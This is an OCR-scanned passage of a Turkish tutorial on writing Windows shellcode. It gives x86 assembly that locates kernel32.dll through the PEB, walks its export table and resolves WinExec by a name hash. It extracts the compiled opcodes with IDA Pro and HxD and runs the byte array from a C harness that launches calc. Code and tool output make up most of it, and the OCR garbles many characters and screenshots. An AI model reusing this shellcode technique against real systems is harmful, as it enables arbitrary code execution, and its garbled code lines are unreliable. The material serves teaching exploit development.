jz hesaplama_sonu; AL register degeri @ ise, yani fonksiyon adini tamamlami

ssak hesaplamayi sona erdiriyoruz

ror edi, Oxf; Hash degerini 15 bit rotate ettiriyoruz
add edi, eax; Hash degerine mevcut karakteri ekliyoruz
jmp hesaplama_dongusu

hesaplama_sonu :
mov hashDegeri, edi; Hash degerini yazmak lizere sakliyoruz

fonksiyon_adresini_bulma :
mov edx, exportTabloAdresi; Export tablo adresini hatirliyoruz
mov ebx, [edx + ©Ox24]; Export ordinal tablosunun RVA adresini kaydediyoruz

mov esi, modulBaseAdresi
add ebx, esi; Export ordinal tablosunun VA adresini hesapliyoruz
mov cx, [ebx + 2 * ecx]; Mevcut fonksiyonun Name table sirasina denk diisen

ordinal degerini tespit ediyoruz

4

1i boélimuni

mov ebx, [edx + ©x1lc]; Export adres tablosunun RVA adresini EBX e sakliyoru

add ebx, esi; Export adres tablosunun VA adresini hesapliyoruz
mov eax, [ebx + 4 * ecx]; Ordinal numarasi ile export adres tablosunun ilgi
okuyarak fonksiyon RVA adresini tespit ediyoruz

add eax, esi; Fonksiyonun VA adresini hesapliyoruz
mov fonksiyonAdresi, eax; Fonksiyonun adresini yazmak uzere sakliyoruz
popad
}
printf("%s;%x;%x\n", ptrFonksiyonAdi, hashDegeri, fonksiyonAdresi);
}
getchar();
}

Kernel32FonksiyonlListele.c

Uygulamamizi inceledigimizde daha dnceki bolimlerimizde modil adreslerinin bulunmasi ve fonksiyon

adreslerinin tespiti ile ilgili bahsettigimiz tekniklerin bir araya getirildigini gbrecegiz. Yalniz burada

hafizadaki adresini bulmaya ¢alisacagimiz modiil sadece Kernel32.dll modill ve bu modiliin export

ettigi tum fonksiyonlarla ilgili ad, adres ve hash bilgilerini elde edecegiz.

Uygulama 6ncelikle Process Environment Block’un adresini tespit ediyor.

Bu veri yapisi icinde PEB LOADER DATA veri yapisinin adresinin tutuldugu alan hesaplaniyor ve bu adres

elde ediliyor.

PEB LOADER DATA veri yapisi icinde baslatilma sirasina gore moddil listesinin tutuldugu alan

hesaplaniyor ve burada bulunan adresin degeri elde ediliyor.
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Modil inceleme dongustine girildiginde ilk modulin baz adresi kaydediliyor. Eger aradigimiz modul bu
moddl ise bu baz adresi asagida kullanilmaya devam edilecek.

Modyil baz adresini C uygulamasinin printf fonksiyonu ile yazdirabilmek icin bir C lokal degiskenine
atiyoruz.

Liste icinde modul metadatasinin HEX 20 offset’inde Unicode formatindaki modul adinin adresi yer
aliyor. Modiil adinin adresini EDI register’ina aktariyoruz. incelemekte oldugumuz modiil metadata’sinin
Kernel32’ye ait olup olmadigini bu bilgiyi kullanarak anlayacagiz.

incelemekte oldugumuz modiil meta datasinin ilk 4 byte’l modiil listesindeki bir sonraki modiil
metadata’sinin baslangi¢ adresini iceriyor. Bu bilgiyi bir sonraki donglide kullanmak Gzere ESI register’ina
yaziyoruz.

Daha 6nce EDI register’ina aktardigimiz moddl baslangi¢ adresinden itibaren 24. Byte’in null olup
olmadigini kontrol ediyoruz. Modul adinin bu kapsam icinde unicode formatinda tutuldugundan
bahsetmistik. Kernel32.dll verisi toplam 12 karakterden olustugundan 13. Karakterin null olup
olmadigini kontrol ediyoruz. Biliyorsunuz C Assembly, C gibi dillerde array indeksi 0’dan baslar, bu
nedenle 12 indeksi aslinda arrayin 13. Uyesine isaret eder. Bu ydntem kesinlikle cok ideal ve jenerik bir
yontem degil, ancak mevcut modern Windows isletim sistemlerinde Kernel32.dIl’den daha 6nce adi 12
karakter olan baska bir modil yiiklenmediginden isimizi gérecek.

Modiil baz adresini tespit ettikten sonra export edilen fonksiyonlari tespit etmek istiyoruz.

Bunun icin hafizaya yiiklenmis olan PE dosya formatindaki veri yapilarindan faydalaniyoruz. Oncelikle
Image DOS bashgi icinde NT basliklarinin offset’ini tespit ediyoruz.

NT basliklari icinde Export tablosunun RVA degerini elde ediyoruz. PE dosyasi icindeki adreslerin pek
¢ogu RVA veya offset formatinda oldugu icin bu tiir adreslere hafizada ulasabilmek igin bildiginiz gibi
Virtual Address formatina gevirme ihtiyacimiz var. RVA formatindaki adresi VA formatina gevirmek igin
Modiil baz adresi ile topluyoruz.

Export tablosunun VA adresini uygulamamizin asagidaki béliminde fonksiyonlari taramak icin bir lokal
C degiskenine kaydediyoruz.

Export tablosunun icinde HEX 18 offset adresinde export edilen toplam fonksiyon sayisini tespit
ediyoruz. Bu rakami sayac olarak kullanarak sondan basa dogru tiim fonksiyonlari tarayacagiz.

Export tablosunun HEX 20 offset’inde bulunan Names Tablosunun adresini tespit ediyoruz ve VA
adresini hesapliyoruz. Daha sonra fonksiyonlari tarayacagimiz asagidaki bélimde kullanmak Gzere bu
degeri bir lokal C degiskenine kaydediyoruz.

Fonksiyonlari taradigimiz ikinci bolimde Name tablosundaki son fonksiyondan baslayarak fonksiyon
adlarinin hash degerlerini hesaplamaya basliyoruz.

Fonksiyon adinin pointer’ini ESI register’ina atadiktan sonra bir nceki uygulamamizda da kullandigimiz
hash hesaplama kodunu kullanarak hash degerlerini hesapliyoruz.
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Fonksiyon adresini bulma kismini daha 6nce ¢alismamistik. Bu drnegimizde her bir fonksiyonun isminin
hash degerini hesapladiktan sonra hafizadaki adresini de bulacagiz.

Oncelikle Export tablosunun hafizadaki adresini esas aliyoruz. Bu tablonun HEX 24 offset’inde Export
Ordinal Tablo’sunun RVA adresini buluyoruz, daha sonra VA adresini modiil baz adresini ekleyerek
hesapliyoruz.

Ordinal tablosu icindeki ilgili kaydin adresini bulmak icin her bir ordinal kaydi 2 byte oldugundan
fonksiyon adinin name tablo’su icindeki indeksini 2 ile carpip ordinal tablosunun adresi ile topluyoruz.
Buldugumuz adreste yer alan degeri CX register’ina aktariyoruz.

Daha sonra Function Address Tablosu’nun adresini yine Export Tablo’sundan elde ettigimiz RVA adresine
modil baz adresini ekleyerek buluyoruz.

Ordinal degerini indeks olarak kullanarak fonksiyonun adresinin bulundugu kaydin adresini hesapliyoruz.
Bu kayittaki RVA degerini modiil baz adresi ile toplayarak fonksiyonun hafizadaki adresini hesapliyoruz
ve adres degerini yazdirmak izere lokal C degiskenine kopyaliyoruz.

Boylece gelistirdigimiz uygulama hafizaya yiiklendiginde hafizada Kernel32.dll'in modl adresini, bu
modulin export ettigi tiim fonksiyonlarin isimlerini, fonksiyon isimlerinin hash degerlerini ve o
¢ahistirmaya 6zgi olmak Uizere fonksiyon adreslerini listeleyecek bir uygulama gelistirmis olduk.

Simdi bu uygulamayi galistirarak sonuglarini gozlemleyelim.

O FonksiyonListefe (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW HELP

“°'C\ LA I N B Continue ~

Memory 1

Unavailable] j

4

Disassembly

(Global Scopd | b

ye emin olmak i¢in kullaniyoruz
isterina yilikliyoruz ve ESI yi bir artiriyoruz

esaplamay1l sona erdiriyoruz

jmp hesplana_dongusu

hesaplama_sonu :

v [ X ||Watchl

[ Registers [ R ] Memory2

Loading symbols for msver120d.dil Col 40
— o =

Uygulamamizin giktilarini Excel ile incelersek hash degerlerinin cakismadigini gérebiliriz. Aslinda sadece
aradigimiz fonksiyonlarin hash degerlerinin tekrar etmemesi bile bizim igin yeterli idi.

Temel ihtiyaclarimizi belirledigimiz ve bu ihtiyaclari karsilayacak metodlari gelistirdigimize gore
shellcode gelistirme asamasina gecebiliriz.
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VIl. SHELLCODE’UN GELISTIRILMESI

Shellcode’umuzun ihtiya¢ duyacag verilere referans verebilmesi ve farkli bir prosesin hafiza alaninda
ihtiyac duyacagi modiil ve fonksiyon adreslerini tespit etmesi igin gerekli teknikleri ¢ahstik.

Bu teknikleri test etmek icin C uygulama dilinin 6zelliklerinden de faydalanarak bazi uygulama kodlarini
gelistirdik. Artik shellcode olarak kullanabilecegimiz bir kodu gelistirme asamasina geldik.

int f£( )

{
__asm
{ASSEMBLY KODUMUZU BURAYA YAZACAGIZ
}

1
2
3
4
5.
6. }
7
8. int main( void )
9. {
10. £ );
11. }
Hatirlarsaniz farkli bir prosesin hafiza alaninda calistiracagimiz kod derlenmis opcode’lar formatinda
olmaliydi. Dolayisiyla shellcode’umuzu derlemek igin bir yonteme ihtiyag var. Bu adimda iki farkli
yontem kullanacagiz. Aslinda her ikisi de tam olarak ayni sonucu veriyor, ancak yine de sizin icin faydal

olabilecegi duslincesiyle her ikisini de uygulayacagiz.

Birinci yontemde Visual Studio ile shellcode’umuzu derleyecegiz. Bunun icin yine C dilinin, daha dogrusu
Visual Studio derleyicisinin inline assembly ézelligini kullanacagiz. ikinci ydntemde ise gelistirdigimiz
assembly kodunu dogrudan bir Assembler ile derleyecegiz. Bunun icin NASM assembler’ini kullanacagiz.
ikinci yontem bizi daha dogrudan hedefe ulastirabilecek bir yol.

Birinci yontemimizde yukarida gordiigliniiz basit wrapper uygulamayi kullanacagiz. Assembly dilinde
gelistirecegimiz ve tamamen Uretilecek opcode’lara ve instruction’lara hakim olacagimiz
shellcode’umuzu buradaki “f” fonksiyonuna yerlestirerek derleyecegiz. Daha sonra statik analiz icin
kullandigimiz IDA Pro’dan faydalanarak bu fonksiyon icin derleyicinin tirettigi kodlar Gretilen PE
dosyasinin iginden ¢ekip alacagiz. Biraz dolayli bir yol, ancak sdyledigim gibi size farkli bir bakis acisi daha
verebilmek igin bu islemi yapacagiz.

Binary olarak opcode’larimizi elde ettikten sonra bu kodu Hexyaz script’imiz ile C string’ine cevirip test
uygulamamiz icinde deneyecegiz.

1. int ()

2. {

3. __asm

4. {

5. pushad

6.

7. ; once kernel32.dll in hafizadaki adresini buluyoruz

8. Xor ecx, ecx

9. mov esi, fs:[0x30]; PEB adresi

10. mov esi, [esi + ©x@c]; PEB LOADER DATA adresi

11. mov esi, [esi + Oxlc]; Baslatilma sirasina gore modiil listesinin baslangi¢ adre
si

12.

13. bir_sonraki_modul :
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14.
15.
16.

17.

18.

19.
20.
21.
22.
23.
24.
25.

26.
27.
28.
29.
30.
31.

32.
33.
34.
35.
36.
37.

38.
39.
40.

41.
42.

43.
44.
45.
46.
a47.
48.
49.
50.

51.
52.

53.
54.

55.
56.
57.

58.
59.
60.
61.
62.
63.

64.
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mov ebp, [esi + @x08]; Modiiliin baz adresi

mov edi, [esi + Ox20]; Modiil adi(unicode formatinda)

mov esi, [esi]; esi = Modul listesinde bir sonraki modil meta datalarinin bulun
dugu adres InInitOrder[X].flink(sonraki modul)

cmp[edi + 12 * 2], cl; KERNEL32.DLL 12 karakterden olustugu i¢in 24. byte 1in nu
11 olup olmadigini kontrol ediyoruz.Bu yontem olabilecek en gilivenli ve jenerik yontem d
egil, ancak isimizi goériyor.

jne bir_sonraki_modul; Eger 24. byte null degilse kernel32.dll ismini bulamamis
1z demektir

; daha sonra WinExec fonksiyonunun hafizadaki adresini buluyoruz

fonksiyon_bul :

mov eax, [ebp + ©x3c]; MSDOS basligini atliyoruz

mov edx, [ebp + eax + 0x78]; Export tablosunun RVA adresini edx e yaziyoruz

add edx, ebp; Export tablosunun VA adresini hesapliyoruz

mov ecX, [edx + ©x18]; Export tablosundan toplam fonksiyon sayisini saya¢ olara
k kullanmak lizere kaydediyoruz

mov ebx, [edx + ©x20]; Export names tablosunun RVA adresini ebx e yaziyoruz

add ebx, ebp; Export names tablosunun VA adresini hesapliyoruz

fonksiyon_bulma_dongusu :

dec ecx; Saya¢ son fonksiyondan baslayarak basa dogru azaltilir

mov esi, [ebx + ecx * 4]; Export names tablosunda sirasi gelen fonksiyon adinin
pointerinin VA adresini hesapliyoruz

add esi, ebp; Fonksiyon pointerinin RVA adresini hesapliyoruz

hash_hesapla :

xor edi, edi

Xor eax, eax

cld; lods instructioni ESI register ini yanlislikla asagi yonde degistirmesin d
iye emin olmak i¢in kullaniyoruz

hash_hesaplama_dongusu :

lodsb; ESI nin isaret ettigi mevcut fonksiyon adi harfini(yani bir byte 1) AL r
egisterina yikliyoruz ve ESI yi bir artiriyoruz

test al, al; Fonksiyon adinin sonuna gelip gelmedigimizi test ediyoruz

jz hash_hesaplandi; AL register degeri © ise, yani fonksiyon adini tamamlamissa
k hesaplamayi sona erdiriyoruz

ror edi, Oxf; Hash degerini 15 bit saga rotate ettiriyoruz

add edi, eax; Hash degerine mevcut karakteri ekliyoruz

jmp hash_hesaplama_dongusu

hash_hesaplandi :

hash_karsilastirma :

cmp edi, 0x10121ee3; Hesaplanan hash degerinin WinExec fonksiyon adinin hash de
geri ile tutup tutmadigini kontrol ediyoruz

jnz fonksiyon_bulma_dongusu

mov ebx, [edx + ©x24]; WinExec fonksiyonunun adresini bulabilmek i¢in Export or
dinals tablsosunun RVA adresini hesapliyoruz

add ebx, ebp; Export ordinals tablsosunun VA adresini hesapliyoruz

mov cX, [ebx + 2 * ecx]; WinExec fonksiyonunun Ordinal numarasini elde ediyoruz
(ordinal numarasi 2 byte)

mov ebx, [edx + ©xlc]; Export adres tablosunun RVA adresini hesapliyoruz

add ebx, ebp; Export adres tablosunun VA adresini hesapliyoruz

mov eax, [ebx + 4 * ecx]; WinExec fonksiyonunun ordinal numarasini kullanarak f
onksiyon adresinin RVA adresini tespit ediyoruz

add eax, ebp; WinExec fonksiyonunun VA adresini hesapliyoruz

fonksiyon_bulundu :

; WinExec fonksiyonunu ¢agiriyoruz

push @; calc metninin sonuna null karakter yerlestirmek i¢in stacke ©x00000000
yaziyoruz

push 0x636C6163; calc metnini little endian formata uydurmak i¢in tersten yaziy
oruz

=1
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65. mov ebx, esp; calc metninin hafizadaki adresini ebx e yaziyoruz

66. push @; WinExec fonksiyon parametrelerini sagdan sola dogru stacke yaziyoruz, u
CmdShow parametresini @ olarak veriyoruz

67. push ebx; WinExec fonksiyonunun ikinci parametresi olarak ¢alistirilacak proses
in isminin pointerini stacke yaziyoruz

68. call eax; WinExec fonksiyonunu ¢agiriyoruz

69.

70. popad

71. }

72.}

73.

74. int main(void)

75. {

76. f();

77.}

ilk shellcode versiyonumuzu hazirladigimiz iskelet C uygulamasinin “f” fonksiyonunun igine inline
assembly olarak gdmecegiz.

Shellcode’umuzun ilk bélimi daha 6nce de detayli olarak inceledigimiz Kernel32.dIl'in hafizadaki
adresini tespit etmeye yariyor.

Daha sonra WinExec fonksiyonunun adresini bulmak igin gerekli islemleri yapiyoruz. Fonksiyon adresinin
bulunmasi Gzerinde de daha dnce galistigimiz igin detayl bir agiklama yapmayacagim.

Daha 6nce Kernel32.dll fonksiyonlarinin adlarini, hafizadaki adreslerini ve adlarinin hash degerlerini
listelemistik. Shellcode’umuzun daha dnce yaptigimiz bu calismadan farki her bir fonksiyon adinin hash
degerini hesapladiktan sonra bizim daha 6nceden hesaplamis oldugumuz hash degeri ile ayni olup
olmadigini kontrol etmesi. Buradaki amacimiz fonksiyon adinin aradigimiz fonksiyon olup olmadiginin
hash degeri tizerinden kontrol edilmesi. Daha dnceki ¢alismalarimizda da WinExec kelimesinin
kullandigimiz hash algoritmasi ile hash degerinin HEX 10121ee3 oldugunu hesaplamistik.

Shellcode’umuz yine daha dnce detayli olarak inceledigimiz Gizere hash degeri tutan fonksiyonun
hafizadaki RVA adresini ordinals tablosu ve address tablosunu kullanarak tespit ediyor. Son olarak bu
RVA adresini Kernel32.dIl modilinin baz adresi ile toplayarak WinExec’in hafizadaki VA adresini
hesapliyoruz.

Shellcode’umuzun daha 6nceki calismalarimizdan en temel farki bu noktada ortaya gikiyor. Cagirmak
istedigimiz fonksiyonun adresini tespit ettikten sonra sira bu fonksiyonun parametrelerini diizenlemeye,
stack’e yazmaya ve bu fonksiyonu calistirmaya geliyor.

Oncelikle WinExec fonksiyonunun galistirmasini istedigimiz uygulama adini stack’e yaziyoruz. WinExec
fonksiyonuna parametre olarak uygulama adinin hafizadaki adresini vermek zorunda oldugumuzdan
fonksiyonu cagirmadan 6nce stack’e bu adresi yazmamiz gerekiyor. Béliim-4 Shellcode ve Veri Referans
Problemi konumuzda pozisyon bagimsiz olarak bu problemin nasil ¢oziilebilecegini incelemistik. Burada
da ayni yontemi kullanarak uygulama adini stack’e yazdiktan hemen sonra ESP register degerini daha
sonra kullanmak tizere EBX register’ina kopyaliyoruz.

Burada vurgulanmasi gereken 3 temel konu var:

e Birincisi daha 6nce de bahsettigimiz X86 mimarisinin hafiza organizasyonunda little endian
formati kullaniyor olmasi. Dolayisiyla uygulama adini hafizaya yazarken her 4 byte’lik bolim son
karakterden ilk karaktere dogru yazmamiz gerekiyor.

g 44
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e kincisi uygulama adinin C string formatinda olmasi gerektiginden uygulama adindan hemen
sonra gelen ilk karakterin null byte olmasi zorunlulugu. Shellcode’umuzda stack’e O degerini
push etmemizin nedeni bu gereklilik.

[ )

Uclinciisii Windows API’lerine parametre aktariminin fonksiyon prototipinde sagdan sola dogru
bir sira izleyerek yapilmasi kurali. WinExec fonksiyonuna MSDN’den bakarsak aldigi
parametrelerin sirasiyla C string pointer veri tipinde [pCmdLine yani ¢calistirilacak uygulama ve
bu uygulamanin alacagi parametrelerin C string pointer’i, ikinci olarak da unsigned integer veri

tipinde uCmdShow yani display opsiyonlari oldugu goriiriz.

Buna gore bizim WinExec fonksiyonunu ¢agirmadan stack’e sirasiyla uCmdShow ve IpCmdLine
parametrelerini push etmemiz lazim. uCmdShow igin kullanilabilecek degerlerden 0’1 kullaniyoruz. Bu
parametrenin alabilecegi diger herhangi bir degeri de kullanabilirdik.

Parametreleri stack’e yazdiktan hemen sonra WinExec API’sini ¢cagirarak hedefimize ulasiyoruz.

Uygulamamizi Visual Studio ile derleyerek Uretilen opcode’lari elde etmeye calisacagiz.

M ShellcodeUret - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VEEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP

- o @2 M| 9 - ¢ | b Local Windows Debugger - Release ~| [Win32 M= R,

icodeUret.c & X

(Global Scope)

~ | Solution Explorer

co@l e-eai| o s =

jnz fonksiyon_bulma_dongusu

mov ebx, [edx + @x24]; WinExec fonksiyonunun adresini bulabilmek icin Export ordinals tablsosunun RVA adresini h:
add ebx, ebp; Export ordinals tablsosunun VA adresini hesapliyoruz

mov cx, [ebx + 2 * ecx]; WinExec fonksiyonunun Ordinal numarasini elde ediyoruz(ordinal numarasi 2 byte)

mov ebx, [edx + @xlc]; Export adres tablosunun RVA adresini hesapliyoruz

add ebx, ebp; Export adres tablosunun VA adresini hesapliyoruz

hash_karsilastirma : £
cmp edi, @x10121ee3; Hesaplanan hash degerinin WinExec fonksiyon adinin hash degeri ile tutup tutmadigini kontro *

Search Solution Explorer (Ctrl+3)

131 Solution 'ShellcodeUret' (1 project)
4 ShelicodeUret
4 External Dependencies
41 Header Files
9 Resource Files
4 .| SourceFiles
b+ ShellcodeUret.c

mov eax, [ebx + 4 * ecx]; WinExec fonksiyonunun ordinal numarasini kull@ar‘ak fonksiyon adresinin RVA adresini t
add eax, ebp; WinExec fonksiyonunun VA adresini hesapliyoruz

fonksiyon_bulundu :

s WinExec fonksiyonunu cagiriyoruz
Output
Show output from: [Build e || E|ma
Rebuild All started: Project: ShellcodeUret, Configuration: Release Win32
1> ShellcodeUret.c
1>Shellcodelret.c(72): warning C4102:
1>ShellcodeUret.c(72): warning C4102:
1>ShellcodeUret.c(72): warning C4102:
1>ShellcodeUret.c(72): warning C4102:
1> Generating code
1> Finished generating code
1> ShellcodeUret.vcxproj -> C: 1 et\Release’ 1
Rebuild All: 1 succeeded, @ failed, @ skipped ==========

*fonksiyon_bulundu'
*hash_karsilastirma’
‘hash_hesapla‘ :
*fonksiyon_bul® :

: unreferenced label
: unreferenced label
unreferenced label
unreferenced label

et.exe

ErrorList Output

Ready
-

Simdi IDA Pro ile derlenmis dosyamizi yiikleyelim.
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Fxle Edit Jump Search View Debugger Options Windows Help
BH - Hn8 8 ) o D0 s - FeX b DO )@ A
CY [T I [

Library function || Data [l Regular function [l Unexplored [ll Instruction | External symbol

7] Functons window 06 x|[@ mavews @ [[E] Hexvewa [ [ A stucwees [ [ [ ewms [ | 83 iwpots [ | 8 Ewons 0|
Function name &
(i K] L
_main 3
[F] _security_check_cookie(x)
(7] pre_c_init
@A pre_cpp_init ==
7] _tmainCRTStartup
_mainCRTStartup
[F] _raise_securityfailure
(7] _report_gsfailure . ; int __cdecl main(int argc, const char *=argu, const char =xenup)
(7] _CranhandledExceptionFilter EXCEPTIO main proc near
(7] __CoSetUnhandledExceptionFilter call
7] _XcptFitter - xor eax, eax
R r retn
Line2 of 41  iin ehigy
b, Graph overview o5 x|

100.00% (0,0) 00000480 00401080: main

[=] Output window 0O & x
You ;;y start to ;;ﬁl;;g-gh;-;r}ﬁé file right now.

can not set debug privilege: Mot all privileges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information...

Function argument information has been propagated [

The initial autoanalysis has been finished. -

e
AU;__idle Down Disk: 221GB

Bildiginiz gibi IDA Pro 6nde gelen bir statik analiz yazilimi. Bir binary uygulamayi IDA Pro ile analiz
ettiginizde IDA Pro bir veritabani olusturur. Bu veritabani lizerinde yapacaginiz tim ¢alismalar asil
uygulama lzerinde degil IDA’nin Urettigi kendi veritabaninda gerceklestirilir. Dolayisiyla analistler
birbirleriyle kod paylasmak yerine bu veritabanini paylasarak analizlerini gergeklestirebilirler. Biz
orneklerimizde IDA Pro’nun demo strimini kullaniyoruz. Bu nedenle malesef veritabaninda yaptigimiz
degisiklikler kalict olamiyor. Ama buradaki amacimiz igin Ucretli stirim 6zelliklerine ihtiyacimiz yok.

Visual studio “f” fonksiyon kodu icine bazi register’lari stack’e saklama, bunlari tekrar eski haline getirme

ve “ret” instruction’larini ekliyor.

Flle Edit Jurl;p Dahugger ptions  Windows  Help

BHi e s B 3 s B0 et - X > O Oeshwe ) @) @R

eF (BT I - [EEE—
' Library function || Data [l Reguiar function [ Unesplored [l Instruction |~ External symbol

(7] Functons window 06 x||[[@ mavewa @ [O rHexviewa [ [[A stuctwes [ [FE s O [F s O [F  epos 0|
- 0040106F call eax
80401071 popa

p

Function name

[ _main

[ F] _security_check_cookie(x)

7] pre_c_init wwwrs tn
00401075 _£ endp

00401075

71 pre_cpp_init

[F] _tmainCRTStartup

_mainCRTStartup

__raise_securityfailure

__report_gsfailure

_ CoUnhandledExceptionFilter_EXCEPTIO

__CoSetUnhandledExceptionFilter
XeptFiltr -
4 [t G
Line 2 of 41

b, Grash overview o5 x|

[SIE-IBMH

100.00% (-287,1770) (393,39) 00000472 00401072: £+72

—
You may start tu explure the input file right now.

Can not set ﬂenug [ll‘lullEgE Hot all privileges or groups referenced are assigned to the caller.
Type library ‘vcéwin® loaded. Applying types...

Types applied to 1 names

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type informatioen...

Function argument information has been propagated 3
The initial autoanalysis has been finished.

e
AU;_idle  Down Disk: 221GB

Bunlarin disindaki kodlarin opcode’larini IDA Pro’dan bir dosyaya kopyalayabiliriz.
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Bunun icin IDA Hex View A'ya gectikten sonra sag klikleyerek kolon sayisini 4’e indirebiliriz. Boylece

kopyalama islemini daha kolay yapabiliriz.

Edt Jump Seach View Debugger Options Windows Help
BH e Bms S ) 6 @O dat I Fw X > OO o) @ @
‘JI‘ T )

ﬂ Library function | Data [l Regular function Il Unexplored il Instruction = External symbol '

(7] Functions window 068 x|[[F mavewa | B vexvewa B [[A stwcwres 0 [ ewms 0 [f mpos 0 [F  ewos B |
FanGRRAE «|[oou01043  [TEEEREEET . _°0 -
jj[eou0ton7  [FRARNIEE 4. 0 ol
£ 00401048 [
7] _main 0ou0104F (200
7] _security_check_cookie() 00401053 D
7] pre_c_init _lleount1057
[7] pre_cpp_init =l|oountose (13
tmainCRTStartup gg:g}“sg i 8B 0
mainCRTStartup 963
7] __raise_securityfailure 06401067 (AL
- fase seoum ||{eono1068 [T
(7] _report_gsfailure 8040186F
7] _ConhandledExceptionFilter EXCEPTIO  ||a0401073
__CnSetUnhandledExceptionFilter 00401077
_ XcptFilter 00401078
i 0040107F
et
-:::?g‘v 00401083
e 00401087
~F1BClTIeeon 86401088
_IsNonwritablelnCurrentimage 8040108F
_ValidatelmageBase 86461093
__security_init_cookie 004501097
__atonexitinit _|[spu01098
e e , " |[pouotooF
Line2 of 41 00000472 00401072:  £472 =
(] Output window o8& x

You may start to explur; the input file right now.
Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
Type library ‘uvcéuwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information...

Function argument information has been propagated [
The initial autoanalysis has been finished.

Inc
AU; _idle Down Disk: 221GB

Fonksiyonun bittigi adresi tam olarak gérebilmek icin Options / General menustinden Line prefixes
secenegini secebiliriz. Hex View A penceresinden fonksiyon opcode’larini sectikten sonra sag klikleyerek
“Save to file” secenegini secebilir ve opcode’lari binary formatta kaydedebiliriz.

Eksik kalan opcode’lar varsa bunlari da HxD uygulamasi vasitasiyla elle dosyaya ekleyebiliriz.

: ) File Search View Analysis Extras Window ? (=11 (]

(3o d s [ms [l [
| 2 vsshelico!

I Offset(n) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF

00000000 60 33 C9 64 8B 35 30 00 00 00 8B 76 OC 8B 76 1C “3Ed¢S50...(v.<V.
00000010 B 6E 08 8B 7E 20 8B 36 38 4F 18 75 F3 8B 45 3C «<n.c~ <680.ub¢E<
00000020 8B 54 05 78 03 D5 8B 4A 18 8B SA 20 03 DD 49 8B
00000030 34 8B 03 FS 33 FF 33 CO FC AC 84 CO 74 07 Ci CF
00000040 OF 03 Fg EB F4 81 FF E3 1E 12 10 75 E1 8B SA 24 ..s&0

00000050 03 DD 66 8B OC 4B 8B SA 1C 03 DD 8B 04 8B 03 C5 .1
00000060 €A 00 68 63 61 6C 63 8B DC 6A 00 53 FF DO 61 3.hcalccf3.5ydal]

%GF Ovenwrite

Shellcode’umuz hazir olduguna gore test uygulamamizda yerine yerlestirerek calisip calismadigini
gorebiliriz.
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HxD - [C: o @) R
&) File Edit Search View Analysis Extras Window ? leol® 8 | _E](x]
— Yol e » Release » 2|
1) vsshelld
Offset ( =~ 1 @ =
0000000 Type Size
0000004}

000000 File folder
0000003 Ruby File 1K8B
ooonoc o
000000 Application 7K8

DO File 96 KB
D1 File 0KB
Text Document 2KB
NAM File 0k8
Source Browser D... 5KB
Source Browser D... 187 KB A
Source Browser D.. 52KB 7
File 1K8

BAK File 1KB

’ 13 items

: 6F Ovenwrite

DG test - Microsoft Visual Studio Express 2013 for Windows Desktop B3 ¥3 | Quick Launch (C: P - & x
FLE EDIT VEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW HELP Fatih Emiral + [
{@-9 B2 MWD - | b Local Windows Debugger - [Release | [Win32 J i -
Testc® # X olution Explore 7
(Global Scope) ~| Hco@ o-2a i"@\ O Fom
unsigned char-shiellcodel] = Search Solution Explorer (Ctrl+3) p-
"Ix60\x33\xc9\x64\x8b\x35\x30\x00"
5000\ x00\x8b\x76\xBC \x8b\x76\x1c" Y el Solution test 0 project)
"\x8b\x6e\x08\x8b\x7e\x20\x8b\x36" ANISljtest =
“\x38\x4F\X18\x75\xF3\x8b\x45\x3c" §5 Pewnal Dependencies
"\x8b\x54\x05\x78\x03\xd5\x8b\x4a" P :::::(le:jg
"\x18\x8b\x5a\x20\x03\xdd\x49\x8b" F : Source Files
"\x34\x8b\x03\xf5\x33\xff\x33\xc0" by R Testc
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf"
"\x0f\x03\xf8\xeb\xf4\x81\xff\xe3"
"\x1e\x12\x10\x75\xe1\x8b\x5a\x24"
"\x@3\xdd\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x03\xdd\x8b\x04\x8b\x@3\xc5"
"\x62\x00\x68\x63\x61\x6¢c\x63\x8b"
"\xd(\x63\xBO\xSB\xH\xdG\xM"l; .
2int main(int argc, char **argv) shellcode VCCodeVariable -
B
int(*f)(); B Ces -
f.= (int(*)()) shellcode; (Name) Hlicode
(Ant) (*H) ;3 File ci\esg\kaynakitest.c
FullName shellcode
InitExpression
IsConstant False
Elnjected False
IsShared False
Telialatile Falea bt
Cos

100 %~
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0 test (Debugging) - Microsoft Visual Studio Express 2013 for Windows Desktop 63 ¥3 | QuickLaunch (Ctrt+Q) P = & =z
FILE EDIT VEW PROJECT BUID DEBUG TEAM TOOLS TEST WINDOW HELP Fatih Emiral ~ (4
‘@ -0 |5 M |9 - -| » Continue - [Release -] [Wina2 YA i wO»> G| imE=m| A,

* Process: | [12676] test.exe | 171 Suspend = Thread: | - W F % Stack Frame: 3

Memory 1
Address; | 001143

0x011A3018 22 22
0x011A303D 22 22
9x011A3062 22 22

Disassembly

Unhandled exception at 000303087 in test.exe: 0
#ifdef WPRFLAG i) .
__winitenv = envp;
mainret = wmain(argc, argv, envp
#else /* WPRFLAG */
__initenv = envp; @000 0000 0000 0000
mainret = main(argc, argv, envp);| 63
#endif /* WPRFLAG */ g?w e G s

[ Break when this exception type is thrown P
#endif /* _WINMAIN_ */ Open Exception Settings © Hex [moa| A
@ Dec

it ©od { ‘ ) | B

* Note that if the exe is managd Il | ©8in RoL ‘“"I =

D

E

F

* call exit or c exit. .cctor
@ Qword || Or ‘ Xor |
Registers x ) Dword
EAX = 00000000 EBX = ECX = 00000000 EDX = 004DFBI0 ESI = 00000000 © Word e
EDI = 636C6163 EIP = 0030121A ESP = 094DFB98 EBP = EFL = ) Byte Not “A"dl

uh“uml

Locals REFEEEY Call Stack Immediate Window Memory 2

Loading symbols for calc.exe
P sl

Shellcode’umuz calisti ancak hafizada uygulama akisini bozucu islemler yaptigimiz icin uygulama hata
